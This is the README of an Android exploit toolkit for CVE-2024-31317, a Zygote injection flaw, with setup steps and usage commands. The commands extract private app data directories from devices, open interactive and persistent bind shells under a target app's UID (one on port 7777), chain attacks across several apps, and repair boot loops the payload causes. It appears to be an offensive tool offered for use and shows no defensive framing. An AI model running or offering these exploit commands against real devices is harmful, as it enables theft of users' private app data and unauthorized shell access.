Zygote Toolkit - CVE-2024-31317

This is a toolkit that uses CVE-2024-31317 to extract private app data via ADB or spawn a shell with an app's UID. This vulnerability affects Android versions from 9 to 14 running on security patch level 2024-06-01 or lower. A support matrix of tested devices can be found below.

Prerequisites

Debian/Ubuntu (system packages)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Add the export lines to ~/.bashrc (or equivalent) for persistence.

Verify

./setup.sh

Quick Start

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

The exploit builds everything from Hijack.java and AndroidManifest.xml at first run.

Usage

python3 cve_2024_31317.py [flags] [package]

Modes

Options

Examples

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

Building from Source

Everything builds from source at runtime. The build pipeline uses javac (JDK 17+), d8, aapt, zipalign, and apksigner from the Android SDK.

• x86_64 → arm64: tools run natively; the DEX output is architecture-independent
• ARM64 → arm64: everything runs natively (Adoptium provides ARM64 JDK builds)

Passcode

If the device has a passcode, it starts BFU (Before First Unlock). The exploit polls sys.user.0.ce_available for up to 5 minutes until you unlock. It is recommended to remove the passcode for the duration of the exploit.

Tested Devices

† Samsung One UI specific: ZNJECT injection succeeds and -E extraction works, but the toybox nc ServerSocket bind shell never opens. Needs further research to find the root cause of the problem.

Recovery

Payload remains in hidden_api_blacklist_exemptions can cause a boot loop on next boot. Run --recover to reset:

python3 cve_2024_31317.py -d DEVICE --recover